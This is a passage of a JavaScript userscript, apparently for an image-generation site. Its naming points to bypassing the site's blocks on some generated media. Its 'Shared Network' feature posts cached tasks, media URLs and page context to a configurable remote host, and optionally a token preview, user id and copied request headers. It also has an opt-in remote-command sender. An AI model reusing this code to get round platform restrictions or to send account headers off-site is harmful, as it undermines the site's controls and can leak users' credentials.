if (autoCheckInterval) {
clearInterval(autoCheckInterval);
}
if (settings.autoCheck && settings.autoCheckInterval > 0) {
autoCheckInterval = setInterval(() => {
console.log('Auto-checking for new items...');
}, settings.autoCheckInterval * 1000);
}
}
function stopAutoCheck() {
if (autoCheckInterval) {
clearInterval(autoCheckInterval);
autoCheckInterval = null;
}
}
function normalizeTimestamp(value) {
if (!value) return null;
const num = Number(value);
if (Number.isNaN(num)) return null;
return num < 1000000000000 ? num * 1000 : num;
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function clampNumber(value, min, max, fallback) {
const n = Number(value);
if (!Number.isFinite(n)) return fallback;
return Math.min(max, Math.max(min, n));
}
function computeBackoffMs(attempt, baseMs, maxMs, jitterMs) {
const base = clampNumber(baseMs, 0, 10 * 60 * 1000, 2000);
const max = clampNumber(maxMs, base, 60 * 60 * 1000, 60000);
const jitter = clampNumber(jitterMs, 0, 5000, 350);
const exp = Math.min(max, base * Math.pow(2, Math.max(0, attempt - 1)));
const j = jitter ? Math.round((Math.random() * 2 - 1) * jitter) : 0;
return Math.max(0, Math.min(max, exp + j));
}
function formatShortDuration(ms) {
const s = Math.max(0, Math.round(ms / 1000));
if (s < 60) return `${s}s`;
const m = Math.floor(s / 60);
const rem = s % 60;
if (m < 60) return `${m}m ${rem}s`;
const h = Math.floor(m / 60);
const mm = m % 60;
return `${h}h ${mm}m`;
}
async function tryReadJsonSafe(response) {
try {
const txt = await response.text();
try {
return { json: JSON.parse(txt), text: txt };
} catch {
return { json: null, text: txt };
}
} catch {
return { json: null, text: '' };
}
}
// ============================================================================
// SHARED/CROSEE NETWORK SAVE
// ============================================================================
function sharedNetLog(level, message, details = null) {
const entry = {
ts: new Date().toISOString(),
level: level || 'info',
message: String(message || ''),
details: details ?? null
};
sharedNetworkLogs.unshift(entry);
if (sharedNetworkLogs.length > SHARED_NETWORK_MAX_LOGS) {
sharedNetworkLogs.length = SHARED_NETWORK_MAX_LOGS;
}
sharedNetScheduleTabRefresh();
}
function sharedNetSetProgress(visible, current = 0, total = 0, label = '') {
sharedNetworkProgress = {
visible: !!visible,
current: Math.max(0, Number(current) || 0),
total: Math.max(0, Number(total) || 0),
label: String(label || '')
};
sharedNetScheduleTabRefresh();
}
function sharedNetScheduleTabRefresh() {
try {
if (!isExpanded || currentTab !== 'sharedNetwork') return;
if (sharedNetworkTabRefreshQueued) return;
sharedNetworkTabRefreshQueued = true;
requestAnimationFrame(() => {
sharedNetworkTabRefreshQueued = false;
sharedNetRenderSharedNetworkTabInPlace();
});
} catch {
// ignore
}
}
function sharedNetRenderSharedNetworkTabInPlace() {
try {
if (!isExpanded || currentTab !== 'sharedNetwork') return;
const root = document.querySelector('[data-bypass-sharednet-root]');
if (!root) return;
const colors = getThemeColors();
const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
const isLocal = base ? sharedNetIsLocalhostUrl(base) : false;
const cfg = root.querySelector('[data-bypass-sharednet-cfg]');
if (cfg) {
cfg.innerHTML = `
<div><strong style="color:${colors.text};">Host:</strong> <span style="font-family:monospace;">${escapeHtml(settings.sharedNetworkHost || '')}</span></div>
<div><strong style="color:${colors.text};">Method:</strong> ${escapeHtml((settings.sharedNetworkMethod || 'http').toUpperCase())} • <strong style="color:${colors.text};">Payload:</strong> ${escapeHtml(settings.sharedNetworkPayloadMode || 'file')}</div>
<div><strong style="color:${colors.text};">Localhost:</strong> <span style="color:${isLocal ? colors.success : colors.warning}; font-weight:700;">${isLocal ? 'YES (safer)' : 'NO (be careful)'}</span></div>
`;
}
const warn = root.querySelector('[data-bypass-sharednet-warn]');
if (warn) {
warn.style.display = settings.sharedNetworkHost && !isLocal ? 'block' : 'none';
}
const statusLeft = root.querySelector('[data-bypass-sharednet-status-left]');
if (statusLeft) {
const httpStatusText = sharedNetworkHttpStatus.checkedAt
? `${sharedNetworkHttpStatus.ok ? 'OK' : 'FAIL'}${sharedNetworkHttpStatus.status ? ` (${sharedNetworkHttpStatus.status})` : ''} • ${new Date(sharedNetworkHttpStatus.checkedAt).toLocaleTimeString()}`
: 'Not checked yet';
const wsStatusText = sharedNetworkWsState.status || 'disconnected';
statusLeft.innerHTML = `
<div><strong style="color:${colors.text};">HTTP health:</strong> ${escapeHtml(httpStatusText)}${sharedNetworkHttpStatus.error ? ` • ${escapeHtml(String(sharedNetworkHttpStatus.error).slice(0, 120))}` : ''}</div>
<div><strong style="color:${colors.text};">WS:</strong> ${escapeHtml(wsStatusText)}${sharedNetworkWsState.url ? ` • <span style="font-family:monospace;">${escapeHtml(sharedNetworkWsState.url)}</span>` : ''}</div>
`;
}
const progress = root.querySelector('[data-bypass-sharednet-progress]');
if (progress) {
progress.style.display = sharedNetworkProgress.visible ? 'grid' : 'none';
const pct = sharedNetworkProgress.total > 0
? Math.max(0, Math.min(100, Math.round((sharedNetworkProgress.current / sharedNetworkProgress.total) * 100)))
: 0;
progress.innerHTML = `
<div style="display:flex; align-items:center; justify-content:space-between; gap:10px; font-size:11px; color:${colors.textSecondary};">
<div style="min-width:0; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;">${escapeHtml(sharedNetworkProgress.label || 'Working…')}</div>
<div style="font-family:monospace;">${escapeHtml(String(sharedNetworkProgress.current))}/${escapeHtml(String(sharedNetworkProgress.total))}</div>
</div>
<div style="height:10px; border-radius:999px; background: rgba(148,163,184,0.18); overflow:hidden;">
<div style="height:100%; width:${pct}%; background:${colors.primary}; border-radius:999px;"></div>
</div>
`;
}
const logsHeaderCount = root.querySelector('[data-bypass-sharednet-logs-count]');
if (logsHeaderCount) logsHeaderCount.textContent = `${sharedNetworkLogs.length} entries`;
const logsBody = root.querySelector('[data-bypass-sharednet-logs-body]');
if (logsBody) {
const levelColor = (lvl) => {
const v = String(lvl || '').toLowerCase();
if (v === 'error') return '#ef4444';
if (v === 'warning') return '#f59e0b';
if (v === 'success') return '#10b981';
return colors.textSecondary;
};
logsBody.innerHTML = '';
if (!sharedNetworkLogs.length) {
logsBody.innerHTML = `<div style="color:${colors.textSecondary}; font-size:12px; padding:14px; text-align:center;">No logs yet.</div>`;
} else {
sharedNetworkLogs.slice(0, 200).forEach(entry => {
const row = document.createElement('div');
row.style.cssText = `
display:grid;
grid-template-columns: 78px 1fr;
gap:10px;
padding:6px 0;
border-bottom: 1px dashed rgba(148,163,184,0.18);
font-size: 11px;
color: ${colors.textSecondary};
`;
const time = document.createElement('div');
time.style.cssText = `font-family:monospace; color:${levelColor(entry.level)};`;
time.textContent = (entry.ts || '').slice(11, 19);
const msg = document.createElement('div');
msg.style.cssText = 'min-width:0; white-space:pre-wrap; word-break:break-word;';
const details = entry.details ? `\n${JSON.stringify(entry.details, null, 0).slice(0, 4000)}` : '';
msg.textContent = `${entry.message}${details}`;
row.appendChild(time);
row.appendChild(msg);
logsBody.appendChild(row);
});
}
}
} catch (e) {
console.warn('[SharedNet] in-place render failed', e);
}
}
function sharedNetIsConfigured() {
return !!settings.sharedNetworkEnabled && typeof settings.sharedNetworkHost === 'string' && !!settings.sharedNetworkHost.trim();
}
function sharedNetNormalizeHttpBaseUrl(input) {
const raw = String(input || '').trim();
if (!raw) return null;
const withScheme = /^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(raw) ? raw : `http://${raw}`;
try {
const u = new URL(withScheme);
if (!u.protocol || !/^https?:$/.test(u.protocol)) return null;
// Normalize: ensure no trailing slash so URL(path, base) behaves predictably.
u.hash = '';
return u.toString().replace(/\/+$/, '');
} catch {
return null;
}
}
function sharedNetNormalizeWsUrl(input) {
const raw = String(input || '').trim();
if (!raw) return null;
const withScheme = /^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(raw) ? raw : `ws://${raw}`;
try {
const u = new URL(withScheme);
if (!u.protocol || !/^wss?:$/.test(u.protocol)) return null;
u.hash = '';
return u.toString();
} catch {
return null;
}
}
function sharedNetJoinUrl(baseUrl, pathOrUrl) {
const base = String(baseUrl || '').trim();
const path = String(pathOrUrl || '').trim();
if (!base) return null;
if (!path) return base;
try {
// If path is absolute, URL() will keep it; otherwise it resolves relative to base.
return new URL(path, base.endsWith('/') ? base : `${base}/`).toString();
} catch {
return null;
}
}
function sharedNetIsLocalhostUrl(urlStr) {
try {
const u = new URL(String(urlStr || ''));
const host = (u.hostname || '').toLowerCase();
if (host === 'localhost' || host === '::1') return true;
if (/^127\./.test(host)) return true;
return false;
} catch {
return false;
}
}
function sharedNetBuildEnvelope(payload, meta = {}) {
const env = {
type: 'tensor-shared-network-export',
version: SCRIPT_VERSION,
exportedAt: new Date().toISOString(),
payload
};
const httpBase = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
if (settings.sharedNetworkIncludePageContext) {
env.page = {
href: location.href,
origin: location.origin,
host: location.host,
title: document.title
};
}
if (settings.sharedNetworkIncludeUserId) {
const summary = getAccountSummaryForToken(userToken);
env.user = {
tokenPreview: userToken ? tokenPreview(userToken) : null,
userId: summary?.userId || null,
nickname: summary?.nickname || null
};
}
if (settings.sharedNetworkIncludeTensorHeaders) {
env.tensorHeaders = deepCloneValue(settings.headers || {});
}
if (meta && typeof meta === 'object') {
env.meta = deepCloneValue(meta);
}
// Add a quick safety hint for the receiver.
env.security = {
localhost: httpBase ? sharedNetIsLocalhostUrl(httpBase) : false
};
return env;
}
async function sharedNetHttpSend(envelope, filename = null) {
const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
const uploadUrl = sharedNetJoinUrl(base, settings.sharedNetworkHttpUploadPath);
if (!uploadUrl) throw new Error('Invalid upload URL');
const bodyMode = settings.sharedNetworkPayloadMode === 'text' ? 'text' : 'file';
const jsonText = JSON.stringify(envelope, null, 2);
const resolvedName = filename || `shared_export_${Date.now()}.json`;
if (bodyMode === 'text') {
sharedNetworkLastWire = {
transport: 'http',
url: uploadUrl,
method: 'POST',
mode: 'text',
contentType: 'application/json'
};
const response = await fetch(uploadUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: jsonText
});
const parsed = await tryReadJsonSafe(response);
return { ok: response.ok, status: response.status, statusText: response.statusText, ...parsed };
}
const fd = new FormData();
const blob = new Blob([jsonText], { type: 'application/json' });
fd.append('file', blob, resolvedName);
fd.append('filename', resolvedName);
fd.append('contentType', 'application/json');
fd.append('mode', 'file');
sharedNetworkLastWire = {
transport: 'http',
url: uploadUrl,
method: 'POST',
mode: 'file',
formFields: ['file', 'filename', 'contentType', 'mode'],
filename: resolvedName,
contentType: 'application/json'
};
const response = await fetch(uploadUrl, {
method: 'POST',
body: fd
});
const parsed = await tryReadJsonSafe(response);
return { ok: response.ok, status: response.status, statusText: response.statusText, ...parsed };
}
function sharedNetWsDisconnect(reason = '') {
try {
if (sharedNetworkWs) {
sharedNetworkWs.close(1000, reason || 'client-close');
}
} catch {
// ignore
} finally {
sharedNetworkWs = null;
sharedNetworkWsConnectPromise = null;
sharedNetworkWsState = { status: 'disconnected', url: null, lastError: null, lastMessageAt: sharedNetworkWsState.lastMessageAt || null };
}
}
function sharedNetWsEnsureConnected() {
if (!sharedNetIsConfigured()) return Promise.reject(new Error('Shared Network is disabled'));
const wsUrl = sharedNetNormalizeWsUrl(settings.sharedNetworkWsUrl);
if (!wsUrl) return Promise.reject(new Error('Invalid WebSocket URL'));
if (sharedNetworkWs && sharedNetworkWs.readyState === WebSocket.OPEN && sharedNetworkWsState.url === wsUrl) {
return Promise.resolve(true);
}
// If a connect is in progress, reuse it.
if (sharedNetworkWsConnectPromise && sharedNetworkWsState.url === wsUrl) return sharedNetworkWsConnectPromise;
// Reset if URL changed or socket is not usable.
try {
if (sharedNetworkWs) sharedNetworkWs.close();
} catch {
// ignore
}
sharedNetworkWs = null;
sharedNetworkWsState = { status: 'connecting', url: wsUrl, lastError: null, lastMessageAt: sharedNetworkWsState.lastMessageAt || null };
sharedNetworkWsConnectPromise = new Promise((resolve, reject) => {
let ws;
try {
ws = new WebSocket(wsUrl);
} catch (e) {
sharedNetworkWsState.status = 'error';
sharedNetworkWsState.lastError = e?.message || String(e);
sharedNetLog('error', 'WebSocket creation failed', { wsUrl, error: sharedNetworkWsState.lastError });
reject(e);
return;
}
sharedNetworkWs = ws;
ws.onopen = () => {
sharedNetworkWsState.status = 'connected';
sharedNetworkWsState.lastError = null;
sharedNetLog('success', 'WebSocket connected', { wsUrl });
resolve(true);
};
ws.onclose = (evt) => {
const info = { wsUrl, code: evt?.code, reason: evt?.reason };
sharedNetworkWsState.status = 'disconnected';
sharedNetLog('warning', 'WebSocket closed', info);
sharedNetworkWs = null;
sharedNetworkWsConnectPromise = null;
};
ws.onerror = () => {
sharedNetworkWsState.status = 'error';
sharedNetworkWsState.lastError = 'WebSocket error';
sharedNetLog('error', 'WebSocket error', { wsUrl });
// Some browsers do not provide error details; rely on close event too.
};
ws.onmessage = (evt) => {
sharedNetworkWsState.lastMessageAt = Date.now();
const text = typeof evt?.data === 'string' ? evt.data : null;
if (text) {
// Log receiver responses for debugging.
sharedNetLog('info', 'WS message', { text: text.slice(0, 2000) });
}
};
// Safety: reject if it never connects.
setTimeout(() => {
if (!sharedNetworkWs || sharedNetworkWs.readyState !== WebSocket.OPEN) {
reject(new Error('WebSocket connect timeout'));
}
}, 5000);
});
return sharedNetworkWsConnectPromise;
}
async function sharedNetWsSend(envelope, filename = null) {
await sharedNetWsEnsureConnected();
if (!sharedNetworkWs || sharedNetworkWs.readyState !== WebSocket.OPEN) {
throw new Error('WebSocket not connected');
}
const resolvedName = filename || `shared_export_${Date.now()}.json`;
const msg = {
type: settings.sharedNetworkPayloadMode === 'text' ? 'text' : 'file',
filename: resolvedName,
contentType: 'application/json',
content: JSON.stringify(envelope, null, 2)
};
sharedNetworkLastWire = {
transport: 'ws',
url: sharedNetworkWsState.url || settings.sharedNetworkWsUrl,
messageType: msg.type,
filename: resolvedName,
contentType: msg.contentType
};
sharedNetworkWs.send(JSON.stringify(msg));
return { ok: true };
}
async function sharedNetCheckServerHealth() {
if (!sharedNetIsConfigured()) {
sharedNetworkHttpStatus = { ok: null, checkedAt: Date.now(), error: 'Disabled', status: null };
return sharedNetworkHttpStatus;
}
const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
const healthUrl = sharedNetJoinUrl(base, settings.sharedNetworkHttpHealthPath);
if (!healthUrl) {
sharedNetworkHttpStatus = { ok: false, checkedAt: Date.now(), error: 'Invalid health URL', status: null };
return sharedNetworkHttpStatus;
}
try {
const response = await fetch(healthUrl, { method: 'GET' });
const parsed = await tryReadJsonSafe(response);
sharedNetworkHttpStatus = {
ok: response.ok,
checkedAt: Date.now(),
error: response.ok ? null : (parsed.text || response.statusText || 'Health check failed'),
status: response.status
};
sharedNetLog(response.ok ? 'success' : 'warning', 'Health check', { healthUrl, status: response.status, body: parsed.text?.slice?.(0, 2000) || '' });
return sharedNetworkHttpStatus;
} catch (e) {
sharedNetworkHttpStatus = { ok: false, checkedAt: Date.now(), error: e?.message || String(e), status: null };
sharedNetLog('error', 'Health check error', { healthUrl, error: sharedNetworkHttpStatus.error });
return sharedNetworkHttpStatus;
}
}
async function sharedNetSendEnvelope(envelope, filename = null) {
if (!sharedNetIsConfigured()) {
throw new Error('Shared Network is disabled');
}
sharedNetworkLastSent = envelope;
sharedNetworkLastSentAt = Date.now();
sharedNetScheduleTabRefresh();
const method = settings.sharedNetworkMethod;
if (method === 'ws') {
return await sharedNetWsSend(envelope, filename);
}
return await sharedNetHttpSend(envelope, filename);
}
async function sharedNetSendCommand(text) {
const cmd = String(text || '').trim();
if (!cmd) return { ok: false, error: 'Empty command' };
if (!sharedNetIsConfigured()) return { ok: false, error: 'Shared Network is disabled' };
if (!settings.sharedNetworkRemoteControlEnabled) return { ok: false, error: 'Remote control disabled' };
const payload = { command: cmd, at: new Date().toISOString() };
const env = sharedNetBuildEnvelope({ type: 'remote-command', payload }, { kind: 'command' });
try {
if (settings.sharedNetworkMethod === 'ws') {
await sharedNetWsEnsureConnected();
sharedNetworkWs.send(JSON.stringify({ type: 'command', command: cmd }));
sharedNetLog('success', 'Command sent (WS)', { command: cmd });
return { ok: true };
}
const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
const url = sharedNetJoinUrl(base, settings.sharedNetworkHttpCommandPath);
if (!url) throw new Error('Invalid command URL');
const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(env) });
const parsed = await tryReadJsonSafe(response);
sharedNetLog(response.ok ? 'success' : 'warning', 'Command sent (HTTP)', { status: response.status, body: parsed.text?.slice?.(0, 2000) || '' });
return { ok: response.ok, status: response.status, body: parsed.text };
} catch (e) {
sharedNetLog('error', 'Command send failed', { error: e?.message || String(e) });
return { ok: false, error: e?.message || String(e) };
}
}
function sharedNetReadTaskCacheRaw() {
try {
const raw = localStorage.getItem(TASK_CACHE_KEY);
if (!raw) return {};
const parsed = JSON.parse(raw);
return parsed && typeof parsed === 'object' ? parsed : {};
} catch {
return {};
}
}
function sharedNetGetCachedTasksList() {
const cache = sharedNetReadTaskCacheRaw();
const values = Object.values(cache);
return Array.isArray(values) ? values.filter(Boolean) : [];
}
function sharedNetResolveTask(taskId) {
if (!taskId) return null;
const fromMap = resolveTaskData(taskId);
if (fromMap?.raw) return fromMap.raw;
if (fromMap) return fromMap;
const cache = sharedNetReadTaskCacheRaw();
return cache[taskId] || cache[String(taskId).slice(0, 18)] || null;
}
function sharedNetBuildItemPayloadForId(imageId, taskIdHint = null, mimeTypeHint = '', fallback = null) {
if (!imageId) return null;
const fb = fallback && typeof fallback === 'object' ? fallback : {};
const meta = getItemMetaFromId(imageId) || {};
const mapped = itemsData.find(x => x?.id === imageId) || {};
const fbMt = fb?.mimeType || fb?.contentType || '';
const mt = mimeTypeHint || fbMt || meta.mimeType || mapped.mimeType || '';
return {
imageId,
taskId: meta.taskId || mapped.taskId || fb?.taskId || taskIdHint || null,
mimeType: meta.mimeType || mapped.mimeType || fb?.mimeType || fb?.contentType || (mimeTypeHint || null),
width: meta.width || fb?.width || mapped.width || null,
height: meta.height || fb?.height || mapped.height || null,
downloadFileName: meta.downloadFileName || fb?.downloadFileName || mapped.downloadFileName || null,
bypassedUrl: getCachedDownloadUrl(imageId, mt) || fb?.bypassedUrl || fb?.url || mapped.url || meta.url || null,
source: meta.source || fb?.source || mapped.source || null
};
}
function sharedNetBuildItemsPayload(items) {
const list = Array.isArray(items) ? items : [];
const out = [];
const seen = new Set();
for (const it of list) {
const imageId = it?.id || it?.imageId;
if (!imageId || seen.has(imageId)) continue;
seen.add(imageId);
const row = sharedNetBuildItemPayloadForId(imageId, null, it?.mimeType || it?.contentType || '');
if (row) out.push(row);
}
return out;
}
function sharedNetGetTaskIdHint(task) {
if (!task || typeof task !== 'object') return null;
return task.taskId || task.id || task.routeId || task.route_id || task.task_id || null;
}
function sharedNetExtractImageRefsFromTask(task) {
const out = [];
const seen = new Set();
const taskIdHint = sharedNetGetTaskIdHint(task);
let visited = 0;
// If the task already contains items[], trust it. This path is important for
// injected Task Actions where the UI has the item list but itemMap/itemsData
// may not be populated yet.
try {
if (Array.isArray(task?.items)) {
for (const it of task.items) {
const rawId = it?.imageId || it?.id;
if (!rawId) continue;
const id = String(rawId);
if (!id) continue;
if (taskIdHint && String(taskIdHint) === id) continue;
if (seen.has(id)) continue;
const mt = String(it?.mimeType || it?.contentType || '');
const url = it?.url;
const looksMedia = mt.startsWith('image/') || mt.startsWith('video/');
const looksUrl = typeof url === 'string' && url.startsWith('http');
if (!looksMedia && !looksUrl) continue;
seen.add(id);
out.push({ imageId: id, mimeType: mt });
}
}
} catch {}
const push = (imageId, mimeTypeHint = '') => {
if (!imageId) return;
const id = String(imageId);
if (!id) return;
if (taskIdHint && String(taskIdHint) === id) return;
if (seen.has(id)) return;
// Only accept if it looks like something we can resolve.
const meta = getItemMetaFromId(id);
const mapped = itemsData.find(x => x?.id === id);
const cached = getCachedDownloadUrl(id, mimeTypeHint || '');
if (!meta && !mapped && !cached) return;
seen.add(id);
out.push({ imageId: id, mimeType: mimeTypeHint || meta?.mimeType || mapped?.mimeType || '' });
};
const visit = (node, depth, parentKey = '') => {
if (!node) return;
if (visited++ > 6000) return;
if (depth > 9) return;
if (Array.isArray(node)) {
const pk = String(parentKey || '').toLowerCase();
const listLooksLikeIds = pk.includes('image') || pk.includes('media') || pk.includes('output') || pk.includes('result') || pk.includes('asset');
for (const v of node) {
if (listLooksLikeIds && (typeof v === 'string' || typeof v === 'number')) {
push(v, '');
} else {
visit(v, depth + 1, parentKey);
}
}
return;
}
if (typeof node !== 'object') return;
// Common shapes.
if (node.imageId) push(node.imageId, node.mimeType || node.contentType || '');
if (node.image_id) push(node.image_id, node.mimeType || node.contentType || '');
if (node.id && (node.url || node.mimeType || node.contentType || node.width || node.height || node.downloadFileName)) {
push(node.id, node.mimeType || node.contentType || '');
}
for (const [k, v] of Object.entries(node)) {
if (k === 'taskId' || k === 'routeId' || k === 'id') continue;
visit(v, depth + 1, k);
}
};
visit(task, 0, 'task');
return { taskIdHint, refs: out };
}
function sharedNetBuildItemsPayloadFromTasks(tasks) {
const list = Array.isArray(tasks) ? tasks : [];
const out = [];
const seen = new Set();
for (const t of list) {
// Task-local fallback item info (from task.items) so we can include bypassedUrl
// even when the global caches haven't been filled yet.
const localById = {};
try {
if (Array.isArray(t?.items)) {
for (const it of t.items) {
const rawId = it?.imageId || it?.id;
if (!rawId) continue;
const id = String(rawId);
if (!id) continue;
localById[id] = {
imageId: id,
taskId: it?.taskId || null,
mimeType: it?.mimeType || it?.contentType || '',
contentType: it?.contentType || null,
width: it?.width || null,
height: it?.height || null,
url: it?.url || null,
bypassedUrl: it?.bypassedUrl || null,
downloadFileName: it?.downloadFileName || null,
source: it?.source || null
};
}
}
} catch {}
const { taskIdHint, refs } = sharedNetExtractImageRefsFromTask(t);
for (const r of refs) {
const imageId = r?.imageId;
if (!imageId || seen.has(imageId)) continue;
seen.add(imageId);
const fb = localById?.[String(imageId)] || null;
const row = sharedNetBuildItemPayloadForId(imageId, taskIdHint, r?.mimeType || fb?.mimeType || '', fb);
if (row) out.push(row);
}
}
return out;
}
function sharedNetBuildTasksPayloadFromItems(itemPayload) {
const tasks = [];
const seen = new Set();
for (const item of itemPayload) {
const tid = item?.taskId;
if (!tid || seen.has(tid)) continue;
seen.add(tid);
const task = sharedNetResolveTask(tid);
if (task) tasks.push(task);
}
return tasks;
}
async function sharedNetSendCachedTasksNow() {
const tasks = sharedNetGetCachedTasksList();
if (!tasks.length) {
showToast('No cached tasks to send', 'warning');
sharedNetLog('warning', 'No cached tasks found to send');
return { ok: false, error: 'No cached tasks' };
}
const items = sharedNetBuildItemsPayloadFromTasks(tasks);
const payload = { kind: 'cached-tasks', count: tasks.length, itemsCount: items.length, items, tasks };
const env = sharedNetBuildEnvelope(payload, { source: 'task-cache' });
sharedNetSetProgress(true, 0, Math.max(1, items.length || tasks.length), `Sending cached tasks… (${items.length} item(s))`);
try {
const res = await sharedNetSendEnvelope(env, `tensor_cached_tasks_${Date.now()}.json`);
sharedNetLog('success', 'Sent cached tasks', { count: tasks.length, itemsCount: items.length, result: res });
showToast(`Sent ${tasks.length} task(s) • ${items.length} item(s)`, 'success');
return res;
} catch (e) {
sharedNetLog('error', 'Failed to send cached tasks', { error: e?.message || String(e) });
showToast(`Shared Network send failed: ${e?.message || e}`, 'error');
return { ok: false, error: e?.message || String(e) };
} finally {
sharedNetSetProgress(false, 0, 0, '');
}
}
async function sharedNetSendItemsNow(items, contextLabel = 'items') {
const itemPayload = sharedNetBuildItemsPayload(items);
if (!itemPayload.length) {
showToast('No items to send', 'warning');
return { ok: false, error: 'No items' };
}
const tasks = sharedNetBuildTasksPayloadFromItems(itemPayload);
const payload = {
kind: 'items',
context: contextLabel,
count: itemPayload.length,
tasksCount: tasks.length,
items: itemPayload,
tasks
};
const env = sharedNetBuildEnvelope(payload, { source: contextLabel });
sharedNetSetProgress(true, 0, itemPayload.length, 'Sending items…');
try {
const res = await sharedNetSendEnvelope(env, `tensor_items_${Date.now()}.json`);
sharedNetLog('success', 'Sent items', { count: itemPayload.length, tasksCount: tasks.length, result: res });
showToast(`Sent ${itemPayload.length} item(s)`, 'success');
return res;
} catch (e) {
sharedNetLog('error', 'Failed to send items', { error: e?.message || String(e) });
showToast(`Shared Network send failed: ${e?.message || e}`, 'error');
return { ok: false, error: e?.message || String(e) };
} finally {
sharedNetSetProgress(false, 0, 0, '');
}
}
async function sharedNetSendTaskNow(taskId, taskDataOverride = null, contextLabel = 'task') {
const task = taskDataOverride || sharedNetResolveTask(taskId);
if (!task) {
showToast('Task not found in cache', 'warning');
return { ok: false, error: 'Task not found' };
}
const items = sharedNetBuildItemsPayloadFromTasks([task]);
const payload = { kind: 'task', context: contextLabel, taskId: taskId || task?.taskId || task?.routeId || null, itemsCount: items.length, items, task };
const env = sharedNetBuildEnvelope(payload, { source: contextLabel });
try {
const res = await sharedNetSendEnvelope(env, `tensor_task_${(taskId || 'unknown')}_${Date.now()}.json`);
sharedNetLog('success', 'Sent task', { taskId, result: res });
showToast('Task sent to Shared Network', 'success');
return res;
} catch (e) {
sharedNetLog('error', 'Failed to send task', { taskId, error: e?.message || String(e) });
showToast(`Shared Network send failed: ${e?.message || e}`, 'error');
return { ok: false, error: e?.message || String(e) };
}
}
async function sharedNetSendRawPayloadNow(payload, contextLabel = 'raw', filenamePrefix = 'tensor_payload') {
if (!payload) {
showToast('Nothing to send', 'warning');
return { ok: false, error: 'No payload' };
}
const env = sharedNetBuildEnvelope({ kind: contextLabel, payload }, { source: contextLabel });
try {
const res = await sharedNetSendEnvelope(env, `${filenamePrefix}_${Date.now()}.json`);
sharedNetLog('success', 'Sent payload', { context: contextLabel, result: res });
showToast('Sent to Shared Network', 'success');
return res;
} catch (e) {
sharedNetLog('error', 'Failed to send payload', { context: contextLabel, error: e?.message || String(e) });
showToast(`Shared Network send failed: ${e?.message || e}`, 'error');
return { ok: false, error: e?.message || String(e) };
}
}
function openImageModal(imageUrl, taskId, createdAt, expireAt, allImages = [], imageId = null, mimeType = '') {
hideActiveBlockedTooltip();
const isVideo = mimeType?.startsWith('video/');
if (isVideo && !settings.showVideoModal) {
(async () => {
if (imageId) {
await downloadMediaById(imageId, mimeType);
} else if (imageUrl) {
const ext = guessExtension(mimeType, imageUrl);
const name = `tensor_media.${ext}`;
await downloadMediaFromUrl(imageUrl, name, imageId, mimeType);
}
})().catch(err => console.warn('Video modal disabled download failed:', err));
return;
}
// Create modal overlay
const overlay = document.createElement('div');
overlay.className = 'bypass-modal-overlay';
overlay.style.cssText = `
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: var(--mask-primary, rgba(0, 0, 0, 0.9));
display: flex;
align-items: center;
justify-content: center;
z-index: 999999;
backdrop-filter: blur(5px);
`;
const modal = document.createElement('div');
modal.className = 'bypass-modal-content';
modal.style.cssText = `
position: relative;
background: var(--background-primary, #0f172a);
border-radius: 16px;
width: 95%;
max-width: 1200px;
height: 95vh;
max-height: 1000px;
display: flex;
overflow: hidden;
box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9), 0 0 0 1px var(--stroke-secondary, rgba(99, 102, 241, 0.2));
animation: modalIn 0.3s ease;
`;
// Left side - Image display
const imageContainer = document.createElement('div');
imageContainer.style.cssText = `
flex: 1;
position: relative;
background: var(--background-on-primary, #1e293b);
display: flex;
align-items: center;
justify-content: center;
overflow: hidden;
`;
const mediaEl = isVideo ? document.createElement('video') : document.createElement('img');
if (isVideo) {
mediaEl.controls = true;
mediaEl.playsInline = true;
mediaEl.preload = 'metadata';
}
mediaEl.src = imageUrl;
attachAutoRefreshOnMediaError(mediaEl, imageId, mimeType, { forceKind: isVideo ? 'video' : 'image' });
mediaEl.style.cssText = `
max-width: 100%;
max-height: 100%;
object-fit: contain;
object-position: center;
border-radius: 12px;
padding: 20px;
`;
imageContainer.appendChild(mediaEl);
const getFreshModalUrlForActions = async () => {
const current = mediaEl.currentSrc || mediaEl.src || imageUrl;
const expAt = getSignedUrlExpiryMs(current);
if (imageId && expAt && Date.now() >= (expAt - SIGNED_URL_EXPIRY_SAFETY_MS)) {
try {
deleteCachedDownloadUrl(imageId);
} catch {}
const fresh = await ensureDownloadUrl(imageId, mimeType, { bypassCache: true, forceKind: isVideo ? 'video' : 'image' });
return fresh || current;
}
return current;
};
// Action buttons overlay
const actionOverlay = document.createElement('div');
actionOverlay.style.cssText = `
position: absolute;
bottom: 20px;
left: 50%;
transform: translateX(-50%);
display: flex;
gap: 12px;
z-index: 100;
padding: 10px 14px;
border-radius: 999px;
background: var(--mask-button, rgba(0, 0, 0, 0.6));
border: 1px solid var(--stroke-secondary, rgba(255,255,255,0.2));
backdrop-filter: blur(10px);
`;
const downloadBtn = document.createElement('button');
downloadBtn.style.cssText = `
background: var(--color-main, rgba(99, 102, 241, 0.9));
color: var(--text-anti, #ffffff);
border: none;
border-radius: 28px;
padding: 12px 24px;
cursor: pointer;
font-size: 14px;
font-weight: 600;
display: flex;
align-items: center;
gap: 8px;
transition: all 0.3s;
`;
downloadBtn.innerHTML = '<i class="fas fa-download"></i> Download';
downloadBtn.onmouseover = () => downloadBtn.style.opacity = '0.9';
downloadBtn.onmouseout = () => downloadBtn.style.opacity = '1';
downloadBtn.onclick = async () => {
try {
if (imageId) {
await downloadMediaById(imageId, mimeType);
} else {
const safeUrl = await getFreshModalUrlForActions();
const ext = guessExtension(mimeType, safeUrl);
const name = `tensor_media.${ext}`;
await downloadMediaFromUrl(safeUrl, name, imageId, mimeType);
}
} catch (err) {
console.warn('Download failed:', err);
}
};
actionOverlay.appendChild(downloadBtn);
